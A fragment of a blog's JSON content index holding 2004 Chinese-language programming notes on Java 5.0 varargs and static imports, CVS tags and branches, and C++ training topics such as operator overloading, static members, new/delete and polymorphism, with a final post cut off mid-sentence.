i);\n}\n我们看一下反编译器输出的代码：\npublic static transient void myPrintf(Object aobj[])\n{\nObject aobj1[] = aobj;\nint i = aobj1.length;\nfor(int j = 0; j \u0026lt; i; j++)\n{\nObject obj = aobj1[j];\nSystem.out.println(obj);\n}\n}\nbyte byte0 = 6;\nmyPrintf(new Object[] {\n\u0026ldquo;Hello\u0026rdquo;, \u0026ldquo;Tiger\u0026rdquo;, \u0026ldquo;Java 5.0\u0026rdquo;\n});\nmyPrintf(new Object[] {\n\u0026ldquo;Harbin\u0026rdquo;, \u0026ldquo;Beijing\u0026rdquo;, \u0026ldquo;Shenyang\u0026rdquo;, \u0026ldquo;Changchun\u0026rdquo;\n});\nmyPrintf(new Object[] {\n\u0026ldquo;The number is :\u0026rdquo;, Integer.valueOf(byte0)\n});\n从反编译的代码可以看出javac内部使用了数组来完成对变参数的支持。\n6、Static imports\nProblem:\n—Having to fully qualify every static referenced from external classes\nSolution: New import syntax\n—import static TypeName.Identifier;\n—import static Typename.*;\n—Also works for static methods and enums e.g Math.sin(x) becomes sin(x)\n上面是引用sun那个ppt中的一些东东，这个我就不想详细写了，今天较累，看看电影轻松一下吧！\nJava5.0第一部分就写到这。\n","permalink":"https://tonybai.com/2004/11/19/java5-research-part1/","summary":"\u003cp\u003e\u003ca href=\"http://dreamhead.blogbus.com/\"\u003eDreamHead\u003c/a\u003e计划使用\u0026quot;\u003ca href=\"http://www.java.com/\"\u003eJava\u003c/a\u003e 5.0 Tiger\u0026quot;来开发我们的Dominoo，理由是：2-3年后\u0026quot;Tiger\u0026quot; will be mature。\u003c/p\u003e\n\u003cp\u003e我们对刚刚发布不久的\u0026quot;Tiger\u0026quot;了解的不多，晚上我们几个group member坐了下来，听DreamHead讲解\u0026quot;Tiger\u0026quot;的新特性。回到寝室自己做了些实验，有了些体会。\u003c/p\u003e","title":"Java 5.0新特性研究(一)"},{"content":"CVS Repository?\n–\u0026gt; checkout(co)\n–\u0026gt; commit(ci)\n–\u0026gt; update(up)\nRepository vs Modules?\n–Repository is the modules’s container\n–Module is often a project\nRepository has four main parts :\n–main trunk(called \u0026ldquo;head\u0026rdquo; in Eclipse)\n–versions\n–branchs\n–date\nCVS Version?\na) Version vs Revision?\nThe internal revision number（修订号） that CVS keeps for each file is unrelated to the version number of the software product of which the files are part.\nThe CVS revision numbers are invisible to your customers (unless you give them repository access); the only publicly visible number is the \u0026ldquo;3\u0026rdquo; in Version 3.\nb) Where do versions come in?\nBehind the scenes, a version control system\u0026rsquo;s repository is a fairly clever beast. It doesn\u0026rsquo;t just store the current copy of each of the file in its care. Instead it stores every version that has ever been checked in. If you check out a file, edit it, version then check it back in, the repository will hold both the original version and the version that contains your changes.this system of storing revisions is remarkably powerful. Using it, the version control system can do things such as:\n– retrieve a special revision of a file.\n– check out all of the source code of a system as it appeared two months ago.\n– tell you what changed in a particular file between versions 1.3 and 1.5.\n– you can\u0026rsquo;t use the individual file version numbers to keep track of things such as project releases\nrepeat: The individual revision numbers that CVS assigns to files should not be used as external version numbers. Instead, version control systems provide you with tags (or their equivalent).\nCVS tag?\nTags to the rescue. Version control systems let you assign names to a group of files (or modules, or an entire project) at a particular point in time. If you assigned the tag .Pre-Release2. to this group of three files, you could subsequently check them out using that same tag. You\u0026rsquo;d get revision 1.11 of File1.java, 1.7 of File2.java, and 1.10 of File3.java.\nusage:\ncvs tag release_1_0\ncvs update –r release_1_0 //get the project which version is release_1_0\n注意：Tag 的使用并不局限于产品版本号，也不局限于整个模块，你可以随意的给任何一个文件加Tag，不过滥用Tag 就会使Tag 失去它应有的作用。\nCVS Branch?\n– Main trunk(主线,Eclipse称为Head)\n– Branch(分支)\nmain trunk\ntagged tagged tagged\n————-〉release_1_0 ———–\u0026gt;release_2_0———–\u0026gt;release_3_0\n|\n|\n| branch(使用分支)\nln_release_1_0\n(tag和branch有相似性)\n主线与分支相对应，在一个模块的初始是没有分支的，而在以后的开发过程中可以从主线上引出分支，上面图中分支ln_release_1_0就是基于主线的tag release_1_0的。在主线上引出一个分支来专门对付变更后的需求，而主线则保持原来的开发进程。\n","permalink":"https://tonybai.com/2004/11/17/cvs-primer/","summary":"\u003cp\u003eCVS Repository?\u003cbr\u003e\n –\u0026gt; checkout(co)\u003cbr\u003e\n –\u0026gt; commit(ci)\u003cbr\u003e\n –\u0026gt; update(up)\u003c/p\u003e\n\u003cp\u003eRepository vs Modules?\u003cbr\u003e\n   –Repository is the modules’s container\u003cbr\u003e\n   –Module is often a project\u003c/p\u003e\n\u003cp\u003eRepository has four main parts :\u003cbr\u003e\n   –main trunk(called \u0026ldquo;head\u0026rdquo; in Eclipse)\u003cbr\u003e\n   –versions\u003cbr\u003e\n   –branchs\u003cbr\u003e\n   –date\u003c/p\u003e","title":"CVS Primer"},{"content":"今天侯老师花了2个小节的时间把昨天的“尾巴”讲完，然后就进入今天的正题OOP，注意是OOP，not OOD。\n听了侯老师的两天课，感觉他的讲课风格是：\n- 关注细节\n- 以讲”故事”的方式来讲解抽象的技术。\n我将继续接上一节的内容谈C++。\n1、Increment operator（++）\n++ operator分为 ++A 和A++两种，实际在实现中A++调用了++A。我们举个例子\nclass Fraction\n{\nFraction\u0026amp; operator++();\nFraction\u0026amp; operator++(int);\n}\ninline Fraction\u0026amp; operator++()\n{\nm_numerator += m_denominator;\nreturn *this;\n}\ninline Fraction\u0026amp; operator++(int)\n{\nFraction oldValue = *this;\n++(*this); // call the prefix increment\nreturn oldValue; //why？\n}\n从以上的代码段中我们可以得到两个结论：\n1）从代码可以看出在使用++ operator时，特别是对自定义类型的++时，尽量选用++A型，因为A++在实现中实际上是调用A++,所以A++型要比++A型执行速度慢。\n2）我们在设计数值型class时，最好以int为参照物。这也是为什么Fraction\u0026amp; operator++(int)返回oldValue的原因。我们举例说明在使用primitive type int时，++的用法：\nint a = 5;\nint b = a++;\ncout \u0026laquo; a \u0026laquo; endl; // a = 6\ncout \u0026laquo; b \u0026laquo; endl; // b = 5\n可见A++型，是先返回A的值，再做++操作。所以我们在自定义数值型class的时候也要模拟这种方式，使++ operator的使用方式保持一致，无论对primitive type 还是user-defined type。\n2、scope and lifetime\n这里总结以下各种object的lifetime:\nglobal object program始 ，program终\nlocal(auto) object scope始 ， scope终\nheap(dynamic allocated ) object new始 ， delete终\nstatic local object scope始 ，program终\n说明：\n1)global object的建构是在main之前所以利用global object的ctor可以帮助你做一些有用的事，MFC就利用了这点完成了许多有用的操作。\n2)在program终止之前（即在main函数执行结束之前），有global object , static local object at somewhere 和local object in main等的dtor会被调用。但是次序不定（视编译器实作方式而定），下面代码列出VC++7.1的做法：\n#include \u0026ldquo;iostream\u0026rdquo;\n#include \u0026ldquo;string\u0026rdquo;\nusing namespace std;\nclass Test2\n{\npublic:\nTest2(const string\u0026amp; str) : m_name(str)\n{\ncout \u0026laquo; \u0026ldquo;constructor called for \u0026quot; \u0026laquo; m_name \u0026laquo; endl;\n}\n~Test2()\n{\ncout \u0026laquo; \u0026ldquo;destructor called for \u0026quot; \u0026laquo; m_name \u0026laquo; endl;\n}\nprivate:\nstring m_name;\n};\nvoid g_func()\n{\nstatic Test2 l_TestObj1(\u0026ldquo;StaticLocalObjInGlobalFunc\u0026rdquo;);\n}\nTest2 g_TestObj(\u0026ldquo;GlobalObj\u0026rdquo;);\nint main(int argc, char *argv[])\n{\nTest2 l_TestObj2(\u0026ldquo;LocalObjInMain\u0026rdquo;);\ng_func();\nreturn 0;\n}\nOutput：\nconstructor called for GlobalObj\nconstructor called for LocalObjInMain\nconstructor called for StaticLocalObjInGlobalFunc\ndestructor called for LocalObjInMain\ndestructor called for StaticLocalObjInGlobalFunc\ndestructor called for GlobalObj\n3、static member\n1）static data members\n独立于objects之外，众多objects共享一份static data members,也就是说每个class只有一份；\nstatic data members可被继承（其access level）。\n2）static member function的特点\n没有this pointer ,因此就像non-member function一样；\n必定不为virtual；\n可以不通过object而直接访问（通过类的全名，如Accout::setRate（））。\n3）static member function的用途\n用于处理static data member；\n用于callback function。\nstatic member function用于处理static data member无可厚非，我们也不必细讲，关键是为什么使用static member function来用于callback，为什么不直接是用non-static member function?\n首先我们要知道什么是callback function?callback function是如何运行的？callback中文译为“回调”，台湾译为“回呼”，我们拿一个实际的例子来解释什么是callback , callback function是如何工作的？\n在Window平台上开发GUI应用程序时，我们会常常用到一个Win32 API,其原型如下：\nBOOL LineDDA(\nint nXStart, // x-coordinate of line\u0026rsquo;s starting point\nint nYStart, // y-coordinate of line\u0026rsquo;s starting point\nint nXEnd, // x-coordinate of line\u0026rsquo;s ending point\nint nYEnd, // y-coordinate of line\u0026rsquo;s ending point\nLINEDDAPROC lpLineFunc, // pointer to callback function\nLPARAM lpData // pointer to application-defined data\n);\n这个函数的用途在msdn中被描述为 “The LineDDA function determines which pixels should be highlighted for a line defined by the specified starting and ending points. ”这个函数是做什么的我们不关心，我们关心的是它的第5个参数，这是一个LINEDDAPROC类型的函数指针，也就是说我们要使用LineDDA这个函数就必须传入一个函数地址，这是因为LineDDA在执行过程中有些动作不能确定，需要我们来告诉它怎么做，我们如何告诉它呢，就通过传入这个有着固定signature的函数的地址，而这个被LineDDA所使用的函数就叫做callback function。callback function的signature是事先定义好的，包括参数的类型和个数等。\n下面我们我们就利用这个来解释为什么non-static member function不能作为callback function了。我们都知道一个class的non-static member function在被调用时，编译器会将this这一隐藏的指针加入到该funtion的参数列表中去，导致参数的个数增加而不符合callback预先定义好的signature。而static member function不含有this这一隐藏指针，所以完全胜任callback function这一角色。\n4）static member function、non-static member function 、static data member和non-static data member之间的关系\n告诉大家一个总的原则，理解上述几个member关系的关键在于this指针，具体地说：\n- non-static member function既可以调用static member function，也可以处理static data member；\n- static member function则既不能调用non-static member function,也不能处理non-static data member。\n4、new expression(new operator)\u0026amp;operator new\nnew operator和operator new这两个东西让一些初学者感到不能理解，甚至包括一些用过很长时间C++的老手都很可能被迷惑，这两个到底有什么区别？各自代表什么意思呢？\n我们举个例子大家就清楚了。\nComplex* pc = new Complex(1,2); //这句代码里的new就是new operator，它是C++ 的一个关键字，当这条语句执行时，编译器会执行一系列动作。依次为：\n- 调用::operator new分配内存空间；\n- casting（转型）\n- invoke Complex的constuctor\n其中第一步调用::operator new分配内存空间中的::operator new就是我们所说的后者，它是真正分配内存的执行者，相当于C中的malloc函数，与malloc不同的是::operator new可以被重新定义，你可以定义你自己class专用的operator new函数。为什么我们要这么做呢？因为使用默认的::operator new分配每一块内存的同时也会分配一块叫cookie的内存块用来存放一些帮助内存管理的信息，如分配的内存的大小，供delete使用。在一些embeded system中，memory是limited的。我们要尽量减少cookie的分配,所以我们要定义自己的operator new。比如我们可以事先分配一大块内存，以后再需要动态分配内存时，就在这个大块内存中再分配出来既可。\noperator new 在对象产生之前被调用，所以必须是static的。(同理,operator delete在对象被销毁后被调用，也应该是static的)，一般即使你不explicit的声明为static的，编译器也会自动默认为static的。\n5、delete expression(delete operator)\u0026amp;operator delete\n有了4中的new operator\u0026amp;operator new的基础，这节的东西就很好理解了。\n关于delete pc，编译器会执行一系列动作，依次是：\n- invoke Complex的destructor;\n- 调用::operator delete释放内存空间。\n::operator delete 等价于C的free函数。\n::operator delete和::operator new类似也可以被重新定义你自己的版本。\n下面举个例子（包含operator new 和operator delete）\nclass Base\n{\npublic:\nstatic void* operator new(size_t size);\nstatic void operator delete(void* rawMemory , size_t size);\n};\nvoid* Base::operator new(size_t size)\n{\nif(size != sizeof(Base)) //大小错误，可能是被子类调用\nreturn ::operator new(size);//交给默认处理函数处理\nelse\n//your code to alloc the memory\n}\nvoid Base::operator deletevoid* rawMemory , size_t size)\n{\nif(rawMemory == 0) return;\nif(size != sizeof(Base)) //大小错误，可能是被子类调用\n{\n::operator delete(rawMemory);//交给默认处理函数处理\nreturn;\n}\nelse\n{\n//your code to free the memory\n}\n}\nmain()\n{\nBase *p = new Base(); //call the operator new which you defined\ndelete p; // call the operator delete which you defined\n}\nmain代码中当编译器扫描到new时会看Base类中是否重新定义了operator new，如果是则调用Base专用的operator new。delete也是同理。\n注：关于operator new \u0026amp;operator delete的一个原则就是：如果你写了一个operator new,就应该写一个对应的operator delete\n下面是有关OOP的内容，侯老师认为学好OOP就要学好两方面：polymorphism和template method。\n我的一个同事一直和侯老师争论下面的这两个概念的理解,这里我把我的理解写下来：\nframework \u0026amp;application framework\nframework—- it is always a library which is large ,complex and have many classes and many associations among these classes. such as c++ library , Microsoft .net class library,Win32 API\napplication framework—- it have helped you define the skeleton of the application ,what you should do is only to override some virtual functions or add some business logic code , that is all。such as MFC ，VCL等。\n6、SubObject and virtual destructor\n我们看一个例子来说明subobject的概念和virtual destructor的用途。\nCShape\n/|\\\n|\nCRect\n/|\\\n|\nCSquare\n大家从上面的图中也会有所了解subobject的概念。在CSquare object中，既有CRect的suboject又有CShape的subobject。它们的构造顺序是：由内向外，而析构顺序为：由外向内。\n如果有下面代码：\nCRect* p = new CSquare();\ndelete p;\n这时如果CRect的dtor为non-virtual的，上述的代码就相当于企图用一个拥有non-virtual dtor的base class的指针来删除一个derived class oject, 其结果是未定义的。最可能的是执行期未调用derived object的dtor, 因为compiler看到基类拥有的是non-virtual dtor,所以根据p的静态类型将dtor编死，而不经过虚拟机制的route。所以告诫如下：“总是让base class拥有virtual dtor”。这样通过虚拟机制route的编译会将derived类的dtor编进去，我们就能够通过基类指针销毁derived object了。\n7、Template method\n其实这是design pattern的内容，由于这个pattern比较好理解，所以侯老师把它拿到前面来了。\n侯老师说理解这个关键在于理解library code（你用money买的） 和application code(你自己写的)，心中在这两个code之间划一条线(见图中那条虚线)，库代码都是固定的，不会因为你的业务逻辑而改变的。在库代码中一般都存在这样的函数，它的动作流程很规律，比如Windows应用程序的打开文件操作，流程不过是“打开文件对话框”、“选择文件类型和文件名”、“读入文件内容”等，无论事打开什么文件这个流程都不会改变，这类函数被称为template method。还是以打开文件这一动作为例，在该template method中我们要有一个函数负责读取文件的内容，而文件的类型多种多样，内容的格式也不相同，那我们如何在代码执行到这个读取文件函数（primitiveFunc）时能根据不同的文件类型执行不同的动作呢？我们利用polyphorism机制，见上面的图形，当main中的代码执行到a.TemplateMethod中的primitiveFunc的时候，代码将调用不同的子类override的那个primitiveFunc而不是库代码中实现的那个primitiveFunc。\n8、Polymorphism vs static type \u0026amp;dynamic type\n我个人认为学好polymorphism的关键在于：\n1）看call through object 还是 call through pointer\n2）static type or dynamic type\n至于什么是多态，我这里就不多说了，任何一本C++教材都会有详细的讲解。\nstatic type —- 变量声明时的type；\ndynamic type —- 变量实际的type；\n举例说明：\nCShape* p ;\np = new CRect();\n上述代码中指针p的static type为CShape* , 而dynamic type为CRect* 。\n再看看下面代码：\nclass CShape\n{\npublic:\nvirtual void draw()\n{\ncout \u0026laquo; \u0026ldquo;Draw for CShape\u0026rdquo; \u0026laquo; endl;\n}\n};\nclass CRect : public CShape\n{\npublic:\nvirtual void draw()\n{\ncout \u0026laquo; \u0026ldquo;Draw for CRect\u0026rdquo; \u0026laquo; endl;\n}\n};\nclass CSquare : public CRect\n{\npublic:\nvirtual void draw()\n{\ncout \u0026laquo; \u0026ldquo;Draw for CSquare\u0026rdquo; \u0026laquo; endl;\n}\n};\nint main(int argc, char *argv[])\n{\nCShape* p;\nCShape s;\ns.draw(); //invoke CShape::draw()\nCRect rc1;\nrc1.draw(); //invoke CRect::draw()\np = new CRect();\np-\u0026gt;draw(); //invoke CRect::draw()\ndelete p;\np = new CSquare();\np-\u0026gt;draw(); //invoke CSquare::draw()\ndelete p;\nreturn 0;\n}\nOutput:\nDraw for CShape\nDraw for CRect\nDraw for CRect\nDraw for CSquare\n通过pointer去call function时，编译器会去查看该pointer的动态类型来决定到底调用哪个函数。如上述代码中的指针p，第一次被赋予一个CRect* 类型，通过p call draw时，compiler得知p的dynamic type为CRect* ,而不是CShape*，所以调用CRect::draw；同理第二次调用的是动态类型CSquare的draw。\n通过obj调用function时比较简单，obj是什么类型的就调用哪个类型的draw即可。\n9、Inside the object model\n这里涉及到virtual pointer、virtual table等而且要画大量的图才能理解的更好，我倒觉得不如看看inside the c++ object model这本书，所以这里就不详细描述了(^_^其实我比较懒)。\n10、virtual func vs non-virtual func vs pure virtual func\npure virtual func — 为了让derived class只继承其接口。\nvirtual virtual func — 为了让derived class继承该函数的接口和预设行为。\nnon-virtual func — 为了让derived class继承该函数的接口和实现（继承实现的前提是derived class没有hide该函数接口）。\n","permalink":"https://tonybai.com/2004/11/12/cpp-advanced-training-part2/","summary":"\u003cp\u003e今天侯老师花了2个小节的时间把昨天的“尾巴”讲完，然后就进入今天的正题OOP，注意是OOP，not OOD。\u003c/p\u003e\n\u003cp\u003e听了侯老师的两天课，感觉他的讲课风格是：\u003cbr\u003e\n- 关注细节\u003cbr\u003e\n- 以讲”故事”的方式来讲解抽象的技术。\u003c/p\u003e","title":"C++ Advanced Training(二)"},{"content":"作为一名刚来公司不久的新员工，有幸参加由侯捷老师做的高级C++培训，真的是很高兴。从接触Programming以来，C++一直是自己的主打语言(虽然最近正在研究Java^_^)。一天的培训下来，收获还是蛮大的，侯老师的细致入微的讲解给我留下了很深的印象。将我所得到的东西与大家分享同时对我来说又是个复习的过程，不失为一箭双雕之举^_^。\n这次的高级C++培训分3个部分，分别为C++\u0026amp;ADT（一个独立Class的设计经验）,C++\u0026amp;OOP,OOD\u0026amp;Patterns,我将用几篇文章来写我的收获，由于我的水平也有限，特别是对OOD和Patterns的理解不是很透彻，所以难免会出现不正确的“论点”还希望大家多多指点。\n一、侯老师的开场白\n侯老师有一部很有名的著作叫“无责任书评”（在侯老师的acer笔记本（我的本本也是acer的^_^）中，壁纸就是这本书的封面），在业界很受欢迎。侯老师自己是技术作家，也出版各类的技术书籍，所以对书有着他独到的见解。由于我们是高级C++培训,所以这次侯老师主要向我们介绍了所谓的C++大系的书籍，简单列举如下：（按侯捷的分类方式）\n- 百科全书：《Thinking in C++》、《C++ Primer》、《The C++ Programming language 》、《The C++ Standard Library》\n- 专家经验：《Effective C++》、《More Effective C++》、《Exceptional C++》、《More Exceptional C++》\n- 底层内幕：《多态与虚拟》、《深入探索C++对象模型》\n- 设计相关：《Design Pattern》、《Large Scale C++ Design》\n二、正文（主题）\n1、从C的角度看object-based programming(基于对象编程)\n侯老师从C开始我觉得还是很合适的，一是培训的对象大多使用C做开发（这也与我们公司的业务领域息息相关，老的C程序员也许不太喜欢转移到C++），二是这样做可以间接的把C++编译器的实现方法展现在我们面前，便于对C++作深入理解。\n用C提供的语法简单模拟C++类的概念。\n分析C能给我们提供什么：\n- C的struct能对data进行封装；\n- C的struct可使用function pointer来模拟member function\nC不能给我们提供什么：\n- C的struct不能提供对access level的支持。\n这里我也举个例子（不是侯老师讲义中的例子）来模拟C++。\n#include \u0026ldquo;stdio.h\u0026rdquo;\n#define MANAGER 0\n#define CLERK 1\n#define MEWER 2\ntypedef struct tagPerson\n{\nint age;\nint baseSalary;\nint jobType;\nint (*calcSalary)(struct tagPerson*);\nvoid (*printInfo)(struct tagPerson*);\n}Person;\nint calcSalary(Person* this)\n{\nif(this-\u0026gt;jobType == MANAGER)\nreturn this-\u0026gt;baseSalary*10;\nelse if(this-\u0026gt;jobType == CLERK)\nreturn this-\u0026gt;baseSalary*5;\nelse\nreturn this-\u0026gt;baseSalary;\n}\nvoid printInfo(Person* this)\n{\n//print the person\u0026rsquo;s info include jobType,salary and so on;\nprintf(\u0026ldquo;the person\u0026rsquo;s age is %d \\n\u0026rdquo; , this-\u0026gt;age);\n}\nint main()\n{\nPerson aPerson={24,1000,MANAGER,\u0026amp;calcSalary,\u0026amp;printInfo};\nPerson bPerson={23,1000,CLERK,\u0026amp;calcSalary,\u0026amp;printInfo};\nint salary = aPerson.calcSalary(\u0026amp;aPerson);\nprintf(\u0026ldquo;the aperson\u0026rsquo;s salary is %d\\n\u0026rdquo; , salary);\naPerson.printInfo(\u0026amp;aPerson);\nsalary = bPerson.calcSalary(\u0026amp;bPerson);\nprintf(\u0026ldquo;the bperson\u0026rsquo;s salary is %d\\n\u0026rdquo; , salary);\naPerson.printInfo(\u0026amp;bPerson);\n}\n值得大家注意的地方我都用加粗的字体了，在上面程序中我们先将Person的实例化为对象aPerson和bPerson，并手工将他们的地址传给他们自己的函数指针成员来模拟C++的成员函数的调用。现实中C++编译器将我们这一手工过程自动化了并隐藏了起来，也就是C++在每个成员函数的参数类表中偷偷添加了该对象的地址指针this。看起来也挺好理解的，但是这仅仅是C对C++简单的模拟，C++所提供的强大的面向对象的特性是C所不能比拟的，其实归根结底来说还是思维方式的转变带来的巨大变化。\n2、建议使用最新的标准C++ style\nC++从诞生那天到现在已经有20多年了，这期间C++程序的style也经历几次大的变化，直至今日，我们提倡采用C++标准程式库的code style,无论是初学者还是老手，都应该这么做，与标准靠拢是最好的选择。这里不详细阐述了，C++的creator的主页上就有很详尽的说明该如何写Standard C++代码，更有其观点“treat the standard c++ as a new language”。这里仅举几个简单观点和例子:\n- standard header files #include \u0026lt;= #include #include \u0026lt;= #include\n- namespace std\n- try to use stardard library as possible as you can!\n3、forward declaration\n以前一直对forward declaration不是很理解，今天终于有所突破了，所以就写下来，希望对那些和我有同样困惑的朋友们有所启发和帮助。看下面的两段代码：\n代码段1：\nclass A; //forward declaration\nclass B\n{\n//….\nA* a1;\nA* a2;\n};\n代码段2：\nclass A; //forward declaration\nclass B\n{\n//….\nA a1;\nA a2;\n};\n直接告诉大家结论：代码段1顺利通过编译；代码段2则编译失败。\n原因分析：\n代码段1：由于B中的两个数据成员都是A*指针类型，指针类型在32位平台上大小都是4byte，编译器无需知道A的具体大小。那为什么还要有class A; //forward declaration这行代码呢，是因为编译器要知道代码中是否存在A这个类型，这行代码就是告诉编译器“你放心编译吧，这个A类型存在”。而代码段2的B中的两个数据成员都是A类型，编译器必须知道A的具体大小，仅仅告诉编译器A类型的存在是远远不够的。\n4、function signature \u0026amp;function prototype(注意有特例)\nFunction prototype即是函数在声明时的所有元素的集合，包括函数名字，返回类型，参数列表；Funcition signature则是function prototype去掉返回类型后的剩余部分。\n对于这两个概念我们还是举例说明比较直观，看下面的例子：\nFunction prototype：double calcSalary(Person* person);\nFunction signature：clacSalary(Person* person);\n是否能够很好的区分这两个概念会直接关系到你对成员函数overloading的理解。牢记Overloading关注的是function signature 而不是function prototype！但是这里有个特例，那就是“pass by value和pass by reference是不同的signature么？”答案：不是。我们也可以举例说明这点，看下面的例子。\nclass A\n{\nPublic：\nint getArea(Circle\u0026amp; cir);\nint getArea(Circle cir);\n}；\nmain()\n{\nCircle aCir;\nA a;\na.getArea(aCir);//Ambiguous\n}\n某些编译器在class A的编译时并不报错，但是在真正调用时，发生模棱两可。\n还有一个问题就是“为什么overloading不关心返回值类型呢”？我们还是举例说明一下：\nclass A\n{\nPublic：\nint PrintInfo(Person\u0026amp; a);\nvoid PrintInfo(Person\u0026amp; a);\n}；\nmain()\n{\nPerson aPerson;\nA a;\na.PrintInfo(aPerson); //Ambiguous\n}\n说明：有些时候我们并不关心返回值，就像上例中的代码。一旦返回值类型可以作为overloading的一个评判依据，某些时候会造成模棱两可的错误。\n5、尽量以const和inline替换#define(即macro)\n这是个老话题，又是一个大家都容易犯的问题，这里就允许我再提一次吧^_^\n使用macro无非两个用处：\n1)、定义常量\n2)、实现简单的函数功能\n使用macro定义常量的缺点：\n由于宏是由precompiler处理的,所以在真正的compiler处理之前就被precompiler移走了，没能进入符号表(symbol table)，所以导致调试时的困难。\n例：#define PI 3.1415926\n我们可以用const double PI = 3.1415926替代。\n还有一种class专有常数的例子：\nclass GamePlayer\n{\nstatic const int NUM_TURNS = 5;\nint scores[NUM_TURNS];\n…\n};\nConst int GamePlayer::NUM_TURNS;\n注意：in-class initialization只对整数类型(int ,bool,chars等)才成立且对常数才成立。\n使用macro模拟函数功能的缺点：\n例:\n#define max(a , b) ((a) \u0026gt; (b)) ? (a): (b))\nint a = 5 ,b =0;\nmax(++a , b); //我们期望是6\u0026gt;0,可实际结果是7\u0026gt;0,因为a被累加了两次。\n我们的替代方法：inline int max(int a , int b){return a\u0026gt;b ? a : b ;}\nInline function可以对参数进行类型检查，而且拥有和macro一样的效率。\n6、by reference vs by value\n这里有几个原则（当然每个原则都不是强制性的，也都有特例），我们逐条来理解吧：\n1)尽量使用by reference,不要使用by value，无论是传入参数还是传回返回值。\n- reference通常不用于变量的修饰，多用于参数传递和返回值的修饰。\n- by reference既有by pointer的效率，又保持接口与by value时不变，这些都是by reference的优点所在。\n- 如果一定要by value,也不要钻牛角尖非得用by reference不可。（在下面一条的例子中就有体现）\n2)不要在函式中传回local object的reference。(会造成dangling”空悬”问题)\nComplex\u0026amp; func(…)\n{\nComplex c;\n//…\nreturn c;\n}\n说明：这个函数会造成reference’s dangling problem,因为函数原型定义要传回reference，而代码却传回一个local object’s ref。\n解决办法：修改返回值类型为by value\nComplex func(…)\n{\nComplex c;\n//…\nreturn c;\n}\n这样就一切ok了。（从函数代码的return c还看不出返回值是by value还是by reference, 得看函数原型的声明格式，如果是Complex\u0026amp;，则是by reference）。\n7、const object与const member function\n我们看一个类的成员函数的原型：\nclass Test\n{\n//…\nconst A\u0026amp; function(const B\u0026amp; b)const;\n};\n相信有很多人看完上述的函数原型后都有些“晕”，那么多const，都起什么作用亚。我们来一一讲解吧。\n返回值类型：const A\u0026amp; —— 表示返回的值为常量，一般不能够作为左值，不能被修改（可作为右值）。\n参数类型：const B\u0026amp; ——- 表示传入的参数b在函数的执行过程中状态应保持不变，不被修改。\n函数后的修饰符const —— 表示该成员函数的执行不会改变类的状态，也就是说不会修改类的数据成员。\n所谓的const object即在实例化时前面有const关键字修饰，如const A a;\n所谓的const member function是指函数后有修饰符const，其通用的格式为:\nreturn_type fun_name(parameters list)const;\n这样就会涉及到non-const object , const object 是否能够调用 non-const member function, const member function的问题，他们之间的调用关系详述如下：\n- \u0026ldquo;const object\u0026rdquo; call \u0026ldquo;const member function\u0026rdquo; ok\n- \u0026ldquo;non-const object\u0026rdquo; call \u0026ldquo;const member function\u0026rdquo; ok\n- \u0026ldquo;const object\u0026rdquo; call \u0026ldquo;non-const member function\u0026rdquo; error\n- \u0026ldquo;non-const object\u0026rdquo; call \u0026ldquo;non-const member function\u0026rdquo; ok\n8、 friend \u0026amp; operator \u0026laquo;\n有这样一段代码：\nComplex c(3,5);\ncout \u0026laquo; c \u0026laquo;endl;\n要想上一段代码编译和运行正常，我们应该做些什么呢？\n在Complex类中重载\u0026laquo;符号，现在就有两种选择，是选择member func版还是non-member func版呢，根据上一段代码，cout \u0026laquo; c,如果选择member func版，则书写方法应该是c\u0026laquo;cout,这明显不符合C++的习惯。所以我们选择non-member func版。版本选完后，我们来定这个重载函数的prototype, 由于cout为ostream类型且考虑到cout \u0026laquo;c\u0026laquo;c1这种级联形式，我们决定基本的原型如下:\nosteam\u0026amp; operator\u0026laquo; (ostream\u0026amp; os , const Complex\u0026amp; r);\n由于该函数需要访问Complex的private data member，所以我们再在前面加上一个friend关键字，完整的声明如下：\nClass Complex\n{\n//…\nfriend osteam\u0026amp; operator\u0026laquo; (ostream\u0026amp; os , const Complex\u0026amp; r);\n}\n有了friend关键字表示Complex类告诉编译器operator\u0026laquo;函数是朋友，可以访问private data member。另外注意friend不具备传递性。\n9、member func接受同型的obj，有无权利access private data member\n我们还是看例子：\nComplex\u0026amp; Complex::operator+= (const Complex\u0026amp; x)\n{\nm_real += x.m_real;\nm_imag+= x.m_imag;\nreturn *this;\n}\n从例子中看到member func接受同型的obj，是有权利access private data member的。\n10、指针使用的好的编码习惯\n当动态分配内存时，指针的使用应该格外的小心，一不注意就会造成memory leak。好的指针使用习惯会帮助你减少这种情况的发生。下面举例说明：\nA p = new A();\n当要free 这块内存时，应如下作法：\ndelete p;\np = null;//将p赋值为null以防止别人在free内存后，继续使用这个指针。\n当使用p时，应如下作法：\nif（p）//做一次判断，如果p不等于null，就可以使用了。\n{\np-\u0026gt;dosomething();\n}\n","permalink":"https://tonybai.com/2004/11/09/cpp-advanced-training-part1/","summary":"\u003cp\u003e作为一名刚来公司不久的新员工，有幸参加由\u003ca href=\"http://jjhou.boolan.com/\"\u003e侯捷\u003c/a\u003e老师做的高级C++培训，真的是很高兴。从接触Programming以来，\u003ca href=\"http://en.wikipedia.org/wiki/C%2B%2B\"\u003eC++\u003c/a\u003e一直是自己的主打语言(虽然最近正在研究Java^_^)。一天的培训下来，收获还是蛮大的，侯老师的细致入微的讲解给我留下了很深的印象。将我所得到的东西与大家分享同时对我来说又是个复习的过程，不失为一箭双雕之举^_^。\u003c/p\u003e\n\u003cp\u003e这次的高级C++培训分3个部分，分别为C++\u0026amp;ADT（一个独立Class的设计经验）,C++\u0026amp;OOP,OOD\u0026amp;Patterns,我将用几篇文章来写我的收获，由于我的水平也有限，特别是对OOD和\u003ca href=\"http://en.wikipedia.org/wiki/Software_design_pattern\"\u003ePatterns\u003c/a\u003e的理解不是很透彻，所以难免会出现不正确的“论点”还希望大家多多指点。\u003c/p\u003e","title":"C++ Advanced Training(一)"},{"content":"国庆节前夕见到了Darwin_yuan,他给我们带来了Dominoo。\nDominoo是什么？\n在Darwin_yuan的blog中是这样描述的:Dominoo means \u0026ldquo;Design Of Model IN Object-Oriented.\u0026quot;,从字面的意思来理解Dominoo就是“用面向对象的方法进行模型设计”。\nDominoo的主要意图是什么？\nDominoo的提出的大背景是UML、MDA(Model Driven 